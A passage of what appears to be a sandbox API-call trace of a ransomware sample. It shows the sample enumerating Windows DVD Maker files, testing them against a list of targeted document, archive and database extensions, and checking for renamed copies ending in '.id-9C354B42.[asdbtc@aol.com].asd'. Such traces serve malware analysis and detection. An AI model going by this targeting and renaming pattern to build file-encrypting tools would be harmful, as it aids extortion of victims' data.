Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.615] lstrlenW (lpString=".dbf") returned 4 [0057.615] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.615] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.615] lstrlenW (lpString=".1cd") returned 4 [0057.615] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.615] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.615] lstrlenW (lpString=".jpg") returned 4 [0057.615] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.615] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.615] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.615] lstrlenW (lpString=".doc") returned 4 [0057.615] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.615] lstrlenW (lpString=".docx") returned 5 [0057.615] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0057.616] lstrlenW (lpString=".pdf") returned 4 [0057.616] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.616] lstrlenW (lpString=".xls") returned 4 [0057.616] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.616] lstrlenW (lpString=".xlsx") returned 5 [0057.616] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0057.616] lstrlenW (lpString=".ppt") returned 4 [0057.616] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.616] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.616] lstrlenW (lpString=".zip") returned 4 [0057.616] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.616] lstrlenW (lpString=".rar") returned 4 [0057.616] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.616] lstrlenW (lpString=".bz2") returned 4 [0057.616] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.616] lstrlenW (lpString=".7z") returned 3 [0057.616] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.616] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.616] lstrlenW (lpString=".dbf") returned 4 [0057.616] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.616] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.616] lstrlenW (lpString=".1cd") returned 4 [0057.616] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.616] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.616] lstrlenW (lpString=".jpg") returned 4 [0057.616] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.616] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0057.616] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0057.617] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0058.905] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3316) returned 1 [0058.905] CloseHandle (hObject=0x208) returned 1 [0058.905] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0058.905] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.905] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.905] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.905] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.905] lstrlenW (lpString=".doc") returned 4 [0058.905] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.905] lstrlenW (lpString=".docx") returned 5 [0058.905] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0058.905] lstrlenW (lpString=".pdf") returned 4 [0058.905] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.905] lstrlenW (lpString=".xls") returned 4 [0058.905] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.905] lstrlenW (lpString=".xlsx") returned 5 [0058.906] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0058.906] lstrlenW (lpString=".ppt") returned 4 [0058.906] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.906] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.906] lstrlenW (lpString=".zip") returned 4 [0058.906] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.906] lstrlenW (lpString=".rar") returned 4 [0058.906] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.906] lstrlenW (lpString=".bz2") returned 4 [0058.906] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.906] lstrlenW (lpString=".7z") returned 3 [0058.906] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.906] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.906] lstrlenW (lpString=".dbf") returned 4 [0058.906] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.906] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.906] lstrlenW (lpString=".1cd") returned 4 [0058.906] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.906] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.906] lstrlenW (lpString=".jpg") returned 4 [0058.906] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.906] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.906] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.906] lstrlenW (lpString=".doc") returned 4 [0058.906] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.906] lstrlenW (lpString=".docx") returned 5 [0058.906] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0058.906] lstrlenW (lpString=".pdf") returned 4 [0058.906] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.907] lstrlenW (lpString=".xls") returned 4 [0058.907] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.907] lstrlenW (lpString=".xlsx") returned 5 [0058.907] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0058.907] lstrlenW (lpString=".ppt") returned 4 [0058.907] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.907] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.907] lstrlenW (lpString=".zip") returned 4 [0058.907] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.907] lstrlenW (lpString=".rar") returned 4 [0058.907] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.907] lstrlenW (lpString=".bz2") returned 4 [0058.907] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.907] lstrlenW (lpString=".7z") returned 3 [0058.907] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.907] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.907] lstrlenW (lpString=".dbf") returned 4 [0058.907] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.907] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.907] lstrlenW (lpString=".1cd") returned 4 [0058.907] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.907] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0058.907] lstrlenW (lpString=".jpg") returned 4 [0058.907] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.907] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0058.907] lstrlenW (lpString="BabyBoyMainBackground_PAL.wmv") returned 29 [0058.907] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0059.301] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=325322) returned 1 [0059.301] CloseHandle (hObject=0x20c) returned 1 [0059.301] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0059.302] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.302] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.302] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.302] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.302] lstrlenW (lpString=".doc") returned 4 [0059.302] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.302] lstrlenW (lpString=".docx") returned 5 [0059.302] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.302] lstrlenW (lpString=".pdf") returned 4 [0059.302] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.302] lstrlenW (lpString=".xls") returned 4 [0059.302] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.302] lstrlenW (lpString=".xlsx") returned 5 [0059.302] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.302] lstrlenW (lpString=".ppt") returned 4 [0059.302] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.302] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.302] lstrlenW (lpString=".zip") returned 4 [0059.302] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.302] lstrlenW (lpString=".rar") returned 4 [0059.302] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.302] lstrlenW (lpString=".bz2") returned 4 [0059.302] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.302] lstrlenW (lpString=".7z") returned 3 [0059.302] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.302] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.302] lstrlenW (lpString=".dbf") returned 4 [0059.302] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.303] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.303] lstrlenW (lpString=".1cd") returned 4 [0059.303] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.303] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.303] lstrlenW (lpString=".jpg") returned 4 [0059.303] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.303] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.303] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.303] lstrlenW (lpString=".doc") returned 4 [0059.303] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.303] lstrlenW (lpString=".docx") returned 5 [0059.303] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.303] lstrlenW (lpString=".pdf") returned 4 [0059.303] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.303] lstrlenW (lpString=".xls") returned 4 [0059.303] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.303] lstrlenW (lpString=".xlsx") returned 5 [0059.304] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.304] lstrlenW (lpString=".ppt") returned 4 [0059.304] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.304] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.304] lstrlenW (lpString=".zip") returned 4 [0059.304] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.304] lstrlenW (lpString=".rar") returned 4 [0059.304] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.304] lstrlenW (lpString=".bz2") returned 4 [0059.304] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.304] lstrlenW (lpString=".7z") returned 3 [0059.304] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.304] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.304] lstrlenW (lpString=".dbf") returned 4 [0059.304] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.304] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.304] lstrlenW (lpString=".1cd") returned 4 [0059.304] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.304] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0059.304] lstrlenW (lpString=".jpg") returned 4 [0059.304] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.304] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0059.304] lstrlenW (lpString="background.png") returned 14 [0059.304] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.477] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=52251) returned 1 [0059.477] CloseHandle (hObject=0x220) returned 1 [0059.478] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0059.478] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.478] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.478] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.478] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.478] lstrlenW (lpString=".doc") returned 4 [0059.478] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.478] lstrlenW (lpString=".docx") returned 5 [0059.478] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0059.478] lstrlenW (lpString=".pdf") returned 4 [0059.478] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.478] lstrlenW (lpString=".xls") returned 4 [0059.479] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.479] lstrlenW (lpString=".xlsx") returned 5 [0059.479] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0059.479] lstrlenW (lpString=".ppt") returned 4 [0059.479] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.479] lstrlenW (lpString=".zip") returned 4 [0059.479] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.479] lstrlenW (lpString=".rar") returned 4 [0059.479] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.479] lstrlenW (lpString=".bz2") returned 4 [0059.479] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.479] lstrlenW (lpString=".7z") returned 3 [0059.479] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.479] lstrlenW (lpString=".dbf") returned 4 [0059.479] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.479] lstrlenW (lpString=".1cd") returned 4 [0059.479] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.479] lstrlenW (lpString=".jpg") returned 4 [0059.479] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.479] lstrlenW (lpString=".doc") returned 4 [0059.479] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.480] lstrlenW (lpString=".docx") returned 5 [0059.480] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0059.480] lstrlenW (lpString=".pdf") returned 4 [0059.480] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.480] lstrlenW (lpString=".xls") returned 4 [0059.480] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.480] lstrlenW (lpString=".xlsx") returned 5 [0059.480] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0059.480] lstrlenW (lpString=".ppt") returned 4 [0059.480] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.480] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.480] lstrlenW (lpString=".zip") returned 4 [0059.480] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.480] lstrlenW (lpString=".rar") returned 4 [0059.480] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.480] lstrlenW (lpString=".bz2") returned 4 [0059.480] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.480] lstrlenW (lpString=".7z") returned 3 [0059.480] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.480] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.480] lstrlenW (lpString=".dbf") returned 4 [0059.480] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.480] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.480] lstrlenW (lpString=".1cd") returned 4 [0059.480] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.480] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0059.480] lstrlenW (lpString=".jpg") returned 4 [0059.480] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.481] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0059.481] lstrlenW (lpString="203x8subpicture.png") returned 19 [0059.481] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0059.884] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2820) returned 1 [0059.884] CloseHandle (hObject=0x188) returned 1 [0059.884] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0059.884] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.884] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.885] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.885] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.885] lstrlenW (lpString=".doc") returned 4 [0059.885] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.885] lstrlenW (lpString=".docx") returned 5 [0059.885] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0059.885] lstrlenW (lpString=".pdf") returned 4 [0059.885] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.885] lstrlenW (lpString=".xls") returned 4 [0059.885] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.885] lstrlenW (lpString=".xlsx") returned 5 [0059.885] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0059.885] lstrlenW (lpString=".ppt") returned 4 [0059.885] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.885] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.885] lstrlenW (lpString=".zip") returned 4 [0059.885] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.885] lstrlenW (lpString=".rar") returned 4 [0059.885] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.885] lstrlenW (lpString=".bz2") returned 4 [0059.885] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.885] lstrlenW (lpString=".7z") returned 3 [0059.885] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.885] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.885] lstrlenW (lpString=".dbf") returned 4 [0059.885] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.885] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.885] lstrlenW (lpString=".1cd") returned 4 [0059.885] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.885] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.885] lstrlenW (lpString=".jpg") returned 4 [0059.886] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.886] lstrlenW (lpString=".doc") returned 4 [0059.886] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.886] lstrlenW (lpString=".docx") returned 5 [0059.886] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0059.886] lstrlenW (lpString=".pdf") returned 4 [0059.886] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.886] lstrlenW (lpString=".xls") returned 4 [0059.886] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.886] lstrlenW (lpString=".xlsx") returned 5 [0059.886] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0059.886] lstrlenW (lpString=".ppt") returned 4 [0059.886] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.886] lstrlenW (lpString=".zip") returned 4 [0059.886] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.886] lstrlenW (lpString=".rar") returned 4 [0059.886] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.886] lstrlenW (lpString=".bz2") returned 4 [0059.886] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.886] lstrlenW (lpString=".7z") returned 3 [0059.886] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.886] lstrlenW (lpString=".dbf") returned 4 [0059.886] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.886] 